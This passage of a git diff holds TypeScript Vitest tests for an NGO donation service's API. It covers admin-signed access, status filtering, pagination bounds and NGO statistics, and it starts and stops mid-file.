process.env.ADMIN_ADDRESS = adminKeypair.publicKey(); + }); + + afterEach(async () => { + vi.mocked(notify).mockClear(); + await resetDb(); + }); + + it('rejects an unsigned request with 401', async () => { + const app = buildServer(); + + const response = await app.inject({ method: 'GET', url: '/v1/ngo-applications/stats' }); + expect(response.statusCode).toBe(401); + + await app.close(); + }); + + it('returns counts grouped by status for a signed admin', async () => { + const app = buildServer(); + + await prisma.ngoApplication.createMany({ + data: [ + validApplicationPayload({ ownerAddress: fakeAddress('P'), status: 'PENDING' }), + validApplicationPayload({ ownerAddress: fakeAddress('P'), status: 'PENDING' }), + validApplicationPayload({ ownerAddress: fakeAddress('A'), status: 'APPROVED' }), + validApplicationPayload({ ownerAddress: fakeAddress('R'), status: 'REJECTED' }), + ], + }); + + const headers = signAdminRequest(adminKeypair, 'GET', '/v1/ngo-applications/stats'); + const response = await app.inject({ + method: 'GET', + url: '/v1/ngo-applications/stats', + headers, + }); + + expect(response.statusCode).toBe(200); + const body = response.json(); + expect(body.counts).toEqual({ PENDING: 2, APPROVED: 1, REJECTED: 1 }); + expect(body.total).toBe(4); + + await app.close(); + }); + + it('returns zero counts when there are no applications', async () => { + const app = buildServer(); + + const headers = signAdminRequest(adminKeypair, 'GET', '/v1/ngo-applications/stats'); + const response = await app.inject({ + method: 'GET', + url: '/v1/ngo-applications/stats', + headers, + }); + + expect(response.statusCode).toBe(200); + const body = response.json(); + expect(body.counts).toEqual({ PENDING: 0, APPROVED: 0, REJECTED: 0 }); + expect(body.total).toBe(0); + + await app.close(); + }); +}); + +describe('GET /ngo-applications status filter', () => { + beforeAll(() => { + process.env.ADMIN_ADDRESS = adminKeypair.publicKey(); + }); + + afterEach(async () => { + vi.mocked(notify).mockClear(); + await resetDb(); + }); + + /** + * Seeds two PENDING rows plus one APPROVED and one REJECTED, and returns the + * row ids grouped by status. + * + * Two rows share the PENDING status deliberately. With exactly one row per + * status, a `status` filter that was silently ignored would still come back + * with a single row for every query — the per-status assertions below would + * pass while testing nothing. Two PENDING rows make the filtered count (2) + * distinct from both the page size (1) and the unfiltered total (4), so + * dropping the filter anywhere changes a number we actually assert on. + */ + async function seedMixedStatuses() { + const [pendingOne, pendingTwo, approved, rejected] = await Promise.all([ + prisma.ngoApplication.create({ + data: validApplicationPayload({ + ownerAddress: fakeAddress('A'), + name: 'Pending One', + status: 'PENDING', + }), + }), + prisma.ngoApplication.create({ + data: validApplicationPayload({ + ownerAddress: fakeAddress('B'), + name: 'Pending Two', + status: 'PENDING', + }), + }), + prisma.ngoApplication.create({ + data: validApplicationPayload({ + ownerAddress: fakeAddress('C'), + name: 'Approved One', + status: 'APPROVED', + }), + }), + prisma.ngoApplication.create({ + data: validApplicationPayload({ + ownerAddress: fakeAddress('D'), + name: 'Rejected One', + status: 'REJECTED', + }), + }), + ]); + + return { + PENDING: [pendingOne.id, pendingTwo.id].sort(), + APPROVED: [approved.id], + REJECTED: [rejected.id], + all: [pendingOne.id, pendingTwo.id, approved.id, rejected.id].sort(), + }; + } + + it('returns only the applications matching each status value', async () => { + const app = buildServer(); + const expected = await seedMixedStatuses(); + + for (const status of ['PENDING', 'APPROVED', 'REJECTED'] as const) { + const url = `/v1/ngo-applications?status=${status}`; + // The signature covers `${method}:${url}`, query string included, so + // signing the bare path here would 401 instead of exercising the filter. + const headers = signAdminRequest(adminKeypair, 'GET', url); + + const response = await app.inject({ method: 'GET', url, headers }); + + expect(response.statusCode).toBe(200); + const body = response.json(); + + // Assert the exact expected id set, not merely "no other status leaked + // in": a filter matching nothing would satisfy the latter, and it is a + // far easier bug to introduce than an over-broad filter. + const returnedIds = body.applications + .map((application: { id: string }) => application.id) + .sort(); + expect(returnedIds).toEqual(expected[status]); + + // The complement: every returned row actually carries the requested + // status. This is the acceptance criterion stated directly, so a future + // refactor to, say, a substring match on `status` fails loudly here. + for (const application of body.applications as Array<{ status: string }>) { + expect(application.status).toBe(status); + } + + // `total` comes from a separate `count` query in the route. It shares + // the `where` clause with `findMany` today, but nothing enforces that + // pairing — a filter applied to one and not the other is a classic way + // for pagination to disagree with itself. + expect(body.total).toBe(expected[status].length); + } + + await app.close(); + }); + + it('returns every application when no status filter is given', async () => { + const app = buildServer(); + const expected = await seedMixedStatuses(); + + const url = '/v1/ngo-applications'; + const headers = signAdminRequest(adminKeypair, 'GET', url); + + const response = await app.inject({ method: 'GET', url, headers }); + + expect(response.statusCode).toBe(200); + const body = response.json(); + + // This doubles as a check on the fixture itself. If seeding had quietly + // produced four rows of one status, the per-status test above could pass + // without any filtering happening; an unfiltered request that returns all + // four ids proves the rows really are mixed. + const returnedIds = body.applications + .map((application: { id: string }) => application.id) + .sort(); + expect(returnedIds).toEqual(expected.all); + expect(body.total).toBe(expected.all.length); + + await app.close(); + }); + + it('rejects a status value outside the enum with 400 invalid_request', async () => { + const app = buildServer(); + + // 'pending' is not a typo to tolerate: the column stores uppercase enum + // values, so accepting it would need a case-insensitive `where`, which is + // a decision the schema has not made — and silently answering with an + // empty list would be worse than complaining. + // + // The enum is also what keeps an unknown status a clean 400. Passing the + // raw string through to Prisma instead makes Prisma throw on the invalid + // enum value, which surfaces to the client as a 500 — so this assertion + // pins a client-error contract, not just a validation detail. + for (const status of ['DELETED', 'pending']) { + const url = `/v1/ngo-applications?status=${status}`; + const headers = signAdminRequest(adminKeypair, 'GET', url); + + const response = await app.inject({ method: 'GET', url, headers }); + + expect(response.statusCode).toBe(400); + expect(response.json().error).toBe('invalid_request'); + } + + await app.close(); + }); + + it('applies limit and offset inside the filtered set while total counts the whole filtered set', async () => { + const app = buildServer(); + const expected = await seedMixedStatuses(); + + const url = '/v1/ngo-applications?status=PENDING&limit=1&offset=1'; + const headers = signAdminRequest(adminKeypair, 'GET', url); + + const response = await app.inject({ method: 'GET', url, headers }); + + expect(response.statusCode).toBe(200); + const body = response.json(); + + // One row, drawn from the two PENDING rows — not from the four-row table. + // If `offset` paginated the unfiltered result set, the single row returned + // here could be a non-PENDING row; the `total` assertion below is what + // makes that failure deterministic rather than order-dependent. + expect(body.applications).toHaveLength(1); + expect(body.applications[0].status).toBe('PENDING'); + expect(expected.PENDING).toContain(body.applications[0].id); + + // `total` describes the filtered set, so it stays 2 even though only one + // row is on this page. A client paging through PENDING applications needs + // 2 here to know a second page exists. + expect(body.total).toBe(2); + expect(body.limit).toBe(1); + expect(body.offset).toBe(1); + + await app.close(); + }); +}); + +describe('GET /v1/ngo-applications offset bound and stable paging', () => { + beforeAll(() => { + process.env.ADMIN_ADDRESS = adminKeypair.publicKey(); + }); + + afterEach(async () => { + vi.restoreAllMocks(); + vi.mocked(notify).mockClear(); + await resetDb(); + }); + + async function list(app: ReturnType, query: string) { + const url = `/v1/ngo-applications?${query}`; + const headers = signAdminRequest(adminKeypair, 'GET', url); + return app.inject({ method: 'GET', url, headers }); + } + + it('accepts offset 0', async () => { + const app = buildServer(); + + const response = await list(app, 'offset=0'); + + expect(response.statusCode).toBe(200); + expect(response.json().offset).toBe(0); + + await app.close(); + }); + + it('accepts the maximum offset and returns an empty page past the end', async () => { + const app = buildServer(); + await prisma.ngoApplication.create({ data: validApplicationPayload() }); + + const response = await list(app, `offset=${MAX_APPLICATION_LIST_OFFSET}`); + + expect(response.statusCode).toBe(200); + const body = response.json(); + expect(body.offset).toBe(MAX_APPLICATION_LIST_OFFSET); + expect(body.applications).toEqual([]); + expect(body.total).toBe(1); + + await app.close(); + }); + + it('rejects an offset one above the maximum with 400', async () => { + const app = buildServer(); + + const response = await list(app, `offset=${MAX_APPLICATION_LIST_OFFSET + 1}`); + + expect(response.statusCode).toBe(400); + const body = response.json(); + expect(body.error).toBe('invalid_request'); + expect(body.details.fieldErrors.offset).toBeDefined(); + + await app.close(); + }); + + it('rejects very large and negative offsets with 400', async () => { + const app = buildServer(); + + for (const offset of ['2147483648', '9007199254740991', '1e12', '-1']) { + const response = await list(app, `offset=${offset}`); + + expect(response.statusCode, `offset=${offset}`).toBe(400); + expect(response.json().error).toBe('invalid_request'); + } + + await app.close(); + }); + + it('does not query the database for a rejected offset', async () => { + const app = buildServer(); + const findMany = vi.spyOn(prisma.ngoApplication, 'findMany'); + const count = vi.spyOn(prisma.ngoApplication, 'count'); + + const response = await list(app, `offset=${MAX_APPLICATION_LIST_OFFSET + 1}`); + + expect(response.statusCode).toBe(400); + expect(findMany).not.toHaveBeenCalled(); + expect(count).not.toHaveBeenCalled(); + + await app.close(); + }); + + it('breaks createdAt ties by id so offset pages never repeat or skip a row', async () => { + const app = buildServer(); + const sameInstant = new Date('2026-01-01T00:00:00.000Z'); + await Promise.all( + ['A', 'B', 'C', 'D', 'E'].map((suffix) => + prisma.ngoApplication.create({ + data: validApplicationPayload({ + ownerAddress: fakeAddress(suffix), + createdAt: sameInstant, + }), + }), + ), + ); + + const seen: string[] = []; + for (const offset of [0, 2, 4]) { + const response = await list(app, `limit=2&offset=${offset}`); + expect(response.statusCode).toBe(200); + for (const row of response.json().applications) seen.push(row.id); + } + + // Every row exactly once, in a fixed order: id descending. + expect(new Set(seen).size).toBe(5); + expect(seen).toEqual([...seen].sort().reverse()); + + // The same pages requested again return the same rows in the same order. + const again: string[] = []; + for (const offset of [0, 2, 4]) { + const response = await list(app, `limit=2&offset=${offset}`); + for (const row of response.json().applications) again.push(row.id); + } + expect(again).toEqual(seen); + + await app.close(); + }); + + it('still lists newer applications before older ones', async () => { + const app = buildServer(); + const older = await prisma.ngoApplication.create({ + data: validApplicationPayload({ + ownerAddress: fakeAddress('A'), + createdAt: new Date('2026-01-01T00:00:00.000Z'), + }), + }); + const newer = await prisma.ngoApplication.create({ + data: validApplicationPayload({ + ownerAddress: fakeAddress('B'), + createdAt: new Date('2026-02-01T00:00:00.000Z'), + }), + }); + + const response = await list(app, 'limit=2'); + + expect(response.json().applications.map((a: { id: string }) => a.id)).toEqual([ + newer.id, + older.id, + ]); + + await app.close(); + }); +}); diff --git a/test/routes/ngos.test.ts b/test/routes/ngos.test.ts index d18d750..963ea7e 100644 --- a/test/routes/ngos.test.ts +++ b/test/routes/ngos.test.ts @@ -1,1139 +1,1139 @@ -import { Keypair } from '@stellar/stellar-sdk'; -import { afterEach, beforeAll, describe, expect, it } from 'vitest'; - -import { prisma } from '../../src/db.js'; -import { buildServer } from '../../src/server.js'; -import { signAdminRequest } from '../helpers/adminAuth.js'; -import { fakeAddress, resetDb } from '../helpers/db.js'; - -const adminKeypair = Keypair.random(); - -describe('GET /v1/ngos', () => { - afterEach(async () => { - await resetDb(); - }); - - it('returns only verified NGOs, newest first', async () => { - const app = buildServer(); - - await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('A'), name: 'Unverified NGO', verified: false }, - }); - await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('B'), name: 'Verified NGO', verified: true }, - }); - - const response = await app.inject({ method: 'GET', url: '/v1/ngos' }); - expect(response.statusCode).toBe(200); - - const body = response.json(); - expect(body.ngos).toHaveLength(1); - expect(body.ngos[0].name).toBe('Verified NGO'); - expect(body.ngos.map((ngo: { name: string }) => ngo.name)).not.toContain('Unverified NGO'); - expect(body.nextCursor).toBeNull(); - - await app.close(); - }); - - it("returns an NGO's displayName as its public name", async () => { - const app = buildServer(); - - await prisma.ngo.create({ - data: { - ownerAddress: fakeAddress('C'), - name: 'On-chain name', - displayName: 'Curated name', - verified: true, - }, - }); - - const response = await app.inject({ method: 'GET', url: '/v1/ngos' }); - expect(response.statusCode).toBe(200); - expect(response.json().ngos[0].name).toBe('Curated name'); - - await app.close(); - }); - - it('returns an ETag and responds 304 when the client has the current representation', async () => { - const app = buildServer(); - - const firstResponse = await app.inject({ method: 'GET', url: '/v1/ngos' }); - const etag = firstResponse.headers.etag; - expect(etag).toBeDefined(); - expect(firstResponse.headers['cache-control']).toContain('public'); - - const cachedResponse = await app.inject({ - method: 'GET', - url: '/v1/ngos', - headers: { 'if-none-match': String(etag) }, - }); - - expect(cachedResponse.statusCode).toBe(304); - expect(cachedResponse.body).toBe(''); - expect(cachedResponse.headers.etag).toBe(etag); - - await app.close(); - }); - - it('paginates with cursor and returns no overlap between pages', async () => { - const app = buildServer(); - - // Create 3 verified NGOs — oldest first so createdAt desc gives C, B, A. - for (const char of ['A', 'B', 'C']) { - await prisma.ngo.create({ - data: { ownerAddress: fakeAddress(char), name: `NGO ${char}`, verified: true }, - }); - } - - const firstPage = await app.inject({ method: 'GET', url: '/v1/ngos?limit=2' }); - expect(firstPage.statusCode).toBe(200); - const firstBody = firstPage.json(); - expect(firstBody.ngos).toHaveLength(2); - expect(firstBody.nextCursor).not.toBeNull(); - const firstIds = firstBody.ngos.map((n: { id: string }) => n.id); - - const secondPage = await app.inject({ - method: 'GET', - url: `/v1/ngos?limit=2&cursor=${firstBody.nextCursor}`, - }); - expect(secondPage.statusCode).toBe(200); - const secondBody = secondPage.json(); - expect(secondBody.ngos).toHaveLength(1); - expect(secondBody.nextCursor).toBeNull(); - - // No overlap between pages. - const secondIds = secondBody.ngos.map((n: { id: string }) => n.id); - expect(secondIds.some((id: string) => firstIds.includes(id))).toBe(false); - - await app.close(); - }); - it('returns NGOs oldest first when sort=oldest', async () => { - const app = buildServer(); - - for (const char of ['A', 'B', 'C']) { - await prisma.ngo.create({ - data: { ownerAddress: fakeAddress(char), name: `NGO ${char}`, verified: true }, - }); - } - - const response = await app.inject({ method: 'GET', url: '/v1/ngos?sort=oldest' }); - expect(response.statusCode).toBe(200); - - const body = response.json(); - const names = body.ngos.map((n: { name: string }) => n.name); - expect(names).toEqual(['NGO A', 'NGO B', 'NGO C']); - - await app.close(); - }); - - it('returns NGOs alphabetically when sort=name', async () => { - const app = buildServer(); - - await prisma.ngo.create({ - data: { - ownerAddress: fakeAddress('C'), - name: 'Zeta NGO', - displayName: 'Alpha NGO', - verified: true, - }, - }); - await prisma.ngo.create({ - data: { - ownerAddress: fakeAddress('A'), - name: 'Alpha NGO', - displayName: 'Zulu NGO', - verified: true, - }, - }); - await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('B'), name: 'Midway NGO', verified: true }, - }); - - const response = await app.inject({ method: 'GET', url: '/v1/ngos?sort=name' }); - expect(response.statusCode).toBe(200); - - const body = response.json(); - const names = body.ngos.map((n: { name: string }) => n.name); - expect(names).toEqual(['Alpha NGO', 'Midway NGO', 'Zulu NGO']); - - await app.close(); - }); - - it('400s on an unknown sort value', async () => { - const app = buildServer(); - - const response = await app.inject({ method: 'GET', url: '/v1/ngos?sort=invalid' }); - expect(response.statusCode).toBe(400); - - await app.close(); - }); - - it('filters by name when q is provided (case-insensitive)', async () => { - const app = buildServer(); - - await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('A'), name: 'Save The Oceans', verified: true }, - }); - await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('B'), name: 'Plant A Tree', verified: true }, - }); - await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('C'), name: 'Ocean Cleanup Fund', verified: true }, - }); - - const response = await app.inject({ method: 'GET', url: '/v1/ngos?q=ocean' }); - expect(response.statusCode).toBe(200); - - const body = response.json(); - const names: string[] = body.ngos.map((n: { name: string }) => n.name); - expect(names).toContain('Save The Oceans'); - expect(names).toContain('Ocean Cleanup Fund'); - expect(names).not.toContain('Plant A Tree'); - - await app.close(); - }); - - it('searches the public displayName instead of a replaced on-chain name', async () => { - const app = buildServer(); - - await prisma.ngo.create({ - data: { - ownerAddress: fakeAddress('D'), - name: 'Hidden On-chain Name', - displayName: 'Visible Public Name', - verified: true, - }, - }); - - const visible = await app.inject({ method: 'GET', url: '/v1/ngos?q=public' }); - expect(visible.json().ngos.map((ngo: { name: string }) => ngo.name)).toEqual([ - 'Visible Public Name', - ]); - - const hidden = await app.inject({ method: 'GET', url: '/v1/ngos?q=hidden' }); - expect(hidden.json().ngos).toHaveLength(0); - - await app.close(); - }); - - it('returns empty list when q matches nothing', async () => { - const app = buildServer(); - - await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('A'), name: 'Green Earth', verified: true }, - }); - - const response = await app.inject({ method: 'GET', url: '/v1/ngos?q=zzznomatch' }); - expect(response.statusCode).toBe(200); - - const body = response.json(); - expect(body.ngos).toHaveLength(0); - - await app.close(); - }); - - it('400s when q exceeds 100 characters', async () => { - const app = buildServer(); - - const longQ = 'a'.repeat(101); - const response = await app.inject({ method: 'GET', url: `/v1/ngos?q=${longQ}` }); - expect(response.statusCode).toBe(400); - - await app.close(); - }); -}); - -describe('GET /ngos/all (admin)', () => { - beforeAll(() => { - process.env.ADMIN_ADDRESS = adminKeypair.publicKey(); - }); - - afterEach(async () => { - await resetDb(); - }); - - it('rejects an unsigned request with 401', async () => { - const app = buildServer(); - - await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('A'), name: 'Verified NGO', verified: true }, - }); - - const response = await app.inject({ method: 'GET', url: '/v1/ngos/all' }); - expect(response.statusCode).toBe(401); - - await app.close(); - }); - - it('includes unverified NGOs for a correctly signed admin request', async () => { - const app = buildServer(); - - await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('A'), name: 'Unverified NGO', verified: false }, - }); - await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('B'), name: 'Verified NGO', verified: true }, - }); - - const headers = signAdminRequest(adminKeypair, 'GET', '/v1/ngos/all'); - const response = await app.inject({ method: 'GET', url: '/v1/ngos/all', headers }); - expect(response.statusCode).toBe(200); - - const body = response.json(); - const names = body.ngos.map((n: { name: string }) => n.name).sort(); - expect(names).toEqual(['Unverified NGO', 'Verified NGO']); - - const unverified = body.ngos.find((n: { verified: boolean }) => !n.verified); - expect(unverified.name).toBe('Unverified NGO'); - expect(unverified.ownerAddress).toBe(fakeAddress('A')); - - await app.close(); - }); - - it('returns only unverified NGOs with ?verified=false', async () => { - const app = buildServer(); - - await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('A'), name: 'Unverified NGO', verified: false }, - }); - await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('B'), name: 'Verified NGO', verified: true }, - }); - - const url = '/v1/ngos/all?verified=false'; - const headers = signAdminRequest(adminKeypair, 'GET', url); - const response = await app.inject({ method: 'GET', url, headers }); - expect(response.statusCode).toBe(200); - - const body = response.json(); - expect(body.ngos).toHaveLength(1); - expect(body.ngos[0].name).toBe('Unverified NGO'); - expect(body.ngos[0].verified).toBe(false); - - await app.close(); - }); - - it('returns only verified NGOs with ?verified=true', async () => { - const app = buildServer(); - - await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('A'), name: 'Unverified NGO', verified: false }, - }); - await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('B'), name: 'Verified NGO', verified: true }, - }); - - const url = '/v1/ngos/all?verified=true'; - const headers = signAdminRequest(adminKeypair, 'GET', url); - const response = await app.inject({ method: 'GET', url, headers }); - expect(response.statusCode).toBe(200); - - const body = response.json(); - expect(body.ngos).toHaveLength(1); - expect(body.ngos[0].name).toBe('Verified NGO'); - expect(body.ngos[0].verified).toBe(true); - - await app.close(); - }); - - it('400s on an invalid verified value', async () => { - const app = buildServer(); - - const url = '/v1/ngos/all?verified=maybe'; - const headers = signAdminRequest(adminKeypair, 'GET', url); - const response = await app.inject({ method: 'GET', url, headers }); - expect(response.statusCode).toBe(400); - - await app.close(); - }); - - it('paginates with cursor and returns no overlap between pages', async () => { - const app = buildServer(); - - // Create 3 NGOs — oldest first so createdAt desc gives C, B, A. - for (const char of ['A', 'B', 'C']) { - await prisma.ngo.create({ - data: { ownerAddress: fakeAddress(char), name: `NGO ${char}`, verified: false }, - }); - } - - const firstUrl = '/v1/ngos/all?limit=2'; - const firstHeaders = signAdminRequest(adminKeypair, 'GET', firstUrl); - const firstPage = await app.inject({ method: 'GET', url: firstUrl, headers: firstHeaders }); - expect(firstPage.statusCode).toBe(200); - - const firstBody = firstPage.json(); - expect(firstBody.ngos).toHaveLength(2); - expect(firstBody.nextCursor).not.toBeNull(); - const firstIds = firstBody.ngos.map((n: { id: string }) => n.id); - - const secondUrl = `/v1/ngos/all?limit=2&cursor=${firstBody.nextCursor}`; - const secondHeaders = signAdminRequest(adminKeypair, 'GET', secondUrl); - const secondPage = await app.inject({ method: 'GET', url: secondUrl, headers: secondHeaders }); - expect(secondPage.statusCode).toBe(200); - - const secondBody = secondPage.json(); - expect(secondBody.ngos).toHaveLength(1); - expect(secondBody.nextCursor).toBeNull(); - - // No overlap between pages. - const secondIds = secondBody.ngos.map((n: { id: string }) => n.id); - expect(secondIds.some((id: string) => firstIds.includes(id))).toBe(false); - - await app.close(); - }); -}); - -describe('GET /ngos/lookup', () => { - afterEach(async () => { - await resetDb(); - }); - - it('finds the NGO matching the given address', async () => { - const app = buildServer(); - - const ngo = await prisma.ngo.create({ - data: { - ownerAddress: fakeAddress('A'), - name: 'Impact NGO', - displayName: 'Community Impact', - verified: true, - }, - }); - - const response = await app.inject({ - method: 'GET', - url: `/v1/ngos/lookup?address=${ngo.ownerAddress}`, - }); - expect(response.statusCode).toBe(200); - - const body = response.json(); - expect(body.id).toBe(ngo.id); - expect(body.name).toBe('Community Impact'); - - await app.close(); - }); - - it('returns an unverified NGO matching the given address', async () => { - const app = buildServer(); - - const ngo = await prisma.ngo.create({ - data: { - ownerAddress: fakeAddress('A'), - name: 'Unverified Impact NGO', - verified: false, - }, - }); - - const response = await app.inject({ - method: 'GET', - url: `/v1/ngos/lookup?address=${ngo.ownerAddress}`, - }); - expect(response.statusCode).toBe(200); - expect(response.json()).toMatchObject({ - id: ngo.id, - ownerAddress: ngo.ownerAddress, - verified: false, - }); - - await app.close(); - }); - - it('404s when no NGO matches the address', async () => { - const app = buildServer(); - - const response = await app.inject({ - method: 'GET', - url: `/v1/ngos/lookup?address=${fakeAddress('Z')}`, - }); - expect(response.statusCode).toBe(404); - - await app.close(); - }); - - it('400s on a malformed address instead of matching nothing silently', async () => { - const app = buildServer(); - - const response = await app.inject({ method: 'GET', url: '/v1/ngos/lookup?address=not-an-address' }); - expect(response.statusCode).toBe(400); - - await app.close(); - }); -}); - -describe('GET /v1/ngos/:id', () => { - afterEach(async () => { - await resetDb(); - }); - - it('404s for an id that does not exist', async () => { - const app = buildServer(); - - const response = await app.inject({ - method: 'GET', - url: '/v1/ngos/00000000-0000-0000-0000-000000000000', - }); - expect(response.statusCode).toBe(404); - - await app.close(); - }); - - it('400s for a non-uuid id instead of leaking a Prisma error', async () => { - const app = buildServer(); - - const response = await app.inject({ method: 'GET', url: '/v1/ngos/not-a-uuid' }); - expect(response.statusCode).toBe(400); - - await app.close(); - }); - - it('returns an unverified NGO by id', async () => { - const app = buildServer(); - - const ngo = await prisma.ngo.create({ - data: { - ownerAddress: fakeAddress('C'), - name: 'Unverified Impact NGO', - verified: false, - }, - }); - - const response = await app.inject({ method: 'GET', url: `/v1/ngos/${ngo.id}` }); - expect(response.statusCode).toBe(200); - expect(response.json()).toMatchObject({ - id: ngo.id, - ownerAddress: ngo.ownerAddress, - verified: false, - }); - - await app.close(); - }); - - it("computes stats from the NGO's streams", async () => { - const app = buildServer(); - - const ngo = await prisma.ngo.create({ - data: { - ownerAddress: fakeAddress('C'), - name: 'Impact NGO', - displayName: 'Community Impact', - verified: true, - }, - }); - const donor = await prisma.donor.create({ data: { address: fakeAddress('D') } }); - - await prisma.stream.create({ - data: { - onChainId: 1n, - donorId: donor.id, - ngoId: ngo.id, - tokenAddress: fakeAddress('E'), - rate: '10', - balance: '400', - withdrawn: '600', - status: 'ACTIVE', - }, - }); - - const response = await app.inject({ method: 'GET', url: `/v1/ngos/${ngo.id}` }); - expect(response.statusCode).toBe(200); - - const body = response.json(); - expect(body.name).toBe('Community Impact'); - expect(body.stats.totalCommitted).toBe('1000'); - expect(body.stats.totalWithdrawn).toBe('600'); - expect(body.stats.activeStreamCount).toBe(1); - expect(body.stats.donorCount).toBe(1); - - await app.close(); - }); - - it('computes stats correctly with a cancelled stream', async () => { - const app = buildServer(); - - const ngo = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('H'), name: 'Mixed Streams NGO', verified: true }, - }); - const activeDonor = await prisma.donor.create({ data: { address: fakeAddress('I') } }); - const cancelledDonor = await prisma.donor.create({ data: { address: fakeAddress('J') } }); - - await prisma.stream.createMany({ - data: [ - { - onChainId: 2n, - donorId: activeDonor.id, - ngoId: ngo.id, - tokenAddress: fakeAddress('K'), - rate: '10', - balance: '400', - withdrawn: '600', - status: 'ACTIVE', - }, - { - onChainId: 3n, - donorId: cancelledDonor.id, - ngoId: ngo.id, - tokenAddress: fakeAddress('L'), - rate: '10', - balance: '0', - withdrawn: '200', - status: 'CANCELLED', - }, - ], - }); - - const response = await app.inject({ method: 'GET', url: `/v1/ngos/${ngo.id}` }); - expect(response.statusCode).toBe(200); - - const body = response.json(); - expect(body.stats.totalCommitted).toBe('1200'); - expect(body.stats.committedByToken).toEqual([ - { tokenAddress: fakeAddress('K'), amount: '1000' }, - { tokenAddress: fakeAddress('L'), amount: '200' }, - ]); - expect(body.stats.totalWithdrawn).toBe('800'); - expect(body.stats.activeStreamCount).toBe(1); - expect(body.stats.donorCount).toBe(2); - - await app.close(); - }); - - it('aggregates large stream histories and returns only a bounded recent page', async () => { - const app = buildServer(); - const ngo = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('M'), name: 'High Volume NGO', verified: true }, - }); - const donors = await Promise.all( - Array.from({ length: 12 }, (_, index) => - prisma.donor.create({ data: { address: fakeAddress(String.fromCharCode(65 + index)) } }), - ), - ); - const createdAt = new Date('2026-01-01T00:00:00Z'); - - await prisma.stream.createMany({ - data: donors.map((donor, index) => ({ - onChainId: BigInt(100 + index), - donorId: donor.id, - ngoId: ngo.id, - tokenAddress: fakeAddress('N'), - rate: '1', - balance: index < 3 ? '0' : '100', - withdrawn: '10', - status: index < 3 ? 'CANCELLED' : 'ACTIVE', - createdAt: new Date(createdAt.getTime() + index * 1_000), - })), - }); - - const response = await app.inject({ method: 'GET', url: `/v1/ngos/${ngo.id}` }); - expect(response.statusCode).toBe(200); - - const body = response.json(); - expect(body.stats.totalCommitted).toBe('1020'); - expect(body.stats.totalWithdrawn).toBe('120'); - expect(body.stats.activeStreamCount).toBe(9); - expect(body.stats.donorCount).toBe(12); - expect(body.recentStreams).toHaveLength(10); - expect(body.recentStreams[0].onChainId).toBe('111'); - expect(body.recentStreamsNextCursor).toBe(body.recentStreams.at(-1).id); - - await app.close(); - }); - - it('includes description, website and country from the approved application', async () => { - const app = buildServer(); - - const ngo = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('F'), name: 'Green NGO', verified: true }, - }); - await prisma.ngoApplication.create({ - data: { - ownerAddress: ngo.ownerAddress, - name: ngo.name, - description: 'Saving trees everywhere.', - website: 'https://green.example', - contactEmail: 'secret@green.example', - country: 'Brazil', - status: 'APPROVED', - }, - }); - - const response = await app.inject({ method: 'GET', url: `/v1/ngos/${ngo.id}` }); - expect(response.statusCode).toBe(200); - - const body = response.json(); - expect(body.description).toBe('Saving trees everywhere.'); - expect(body.website).toBe('https://green.example'); - expect(body.country).toBe('Brazil'); - expect(body.contactEmail).toBeUndefined(); - expect(body.reviewNote).toBeUndefined(); - - await app.close(); - }); - - it('returns null description/website/country when there is no approved application', async () => { - const app = buildServer(); - - const ngo = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('G'), name: 'Pending NGO', verified: false }, - }); - await prisma.ngoApplication.create({ - data: { - ownerAddress: ngo.ownerAddress, - name: ngo.name, - description: 'Still under review.', - contactEmail: 'hi@pending.example', - status: 'PENDING', - }, - }); - - const response = await app.inject({ method: 'GET', url: `/v1/ngos/${ngo.id}` }); - expect(response.statusCode).toBe(200); - - const body = response.json(); - expect(body.description).toBeNull(); - expect(body.website).toBeNull(); - expect(body.country).toBeNull(); - - await app.close(); - }); -}); - -describe('GET /v1/ngos/:id/donors', () => { - afterEach(async () => { - await resetDb(); - }); - - it('returns distinct donors with per-NGO committed totals and paginates them', async () => { - const app = buildServer(); - const ngo = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('H'), name: 'Food Fund', verified: true }, - }); - const otherNgo = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('I'), name: 'Other Fund', verified: true }, - }); - const donors = await Promise.all( - ['J', 'K', 'L'].map((char) => - prisma.donor.create({ data: { address: fakeAddress(char) } }), - ), - ); - - await prisma.stream.createMany({ - data: [ - { - onChainId: 10n, - donorId: donors[0].id, - ngoId: ngo.id, - tokenAddress: fakeAddress('M'), - rate: '1', - balance: '40', - withdrawn: '10', - status: 'ACTIVE', - }, - { - onChainId: 11n, - donorId: donors[0].id, - ngoId: ngo.id, - tokenAddress: fakeAddress('M'), - rate: '1', - balance: '999', - withdrawn: '20', - status: 'CANCELLED', - }, - { - onChainId: 12n, - donorId: donors[1].id, - ngoId: ngo.id, - tokenAddress: fakeAddress('M'), - rate: '1', - balance: '30', - withdrawn: '5', - status: 'ACTIVE', - }, - { - onChainId: 13n, - donorId: donors[2].id, - ngoId: ngo.id, - tokenAddress: fakeAddress('M'), - rate: '1', - balance: '7', - withdrawn: '3', - status: 'ACTIVE', - }, - { - onChainId: 14n, - donorId: donors[0].id, - ngoId: otherNgo.id, - tokenAddress: fakeAddress('M'), - rate: '1', - balance: '1000', - withdrawn: '0', - status: 'ACTIVE', - }, - ], - }); - - const first = await app.inject({ method: 'GET', url: `/v1/ngos/${ngo.id}/donors?limit=2` }); - expect(first.statusCode).toBe(200); - const firstBody = first.json(); - expect(firstBody.donors).toHaveLength(2); - expect(firstBody.nextCursor).not.toBeNull(); - - const second = await app.inject({ - method: 'GET', - url: `/v1/ngos/${ngo.id}/donors?limit=2&cursor=${firstBody.nextCursor}`, - }); - expect(second.statusCode).toBe(200); - const secondBody = second.json(); - 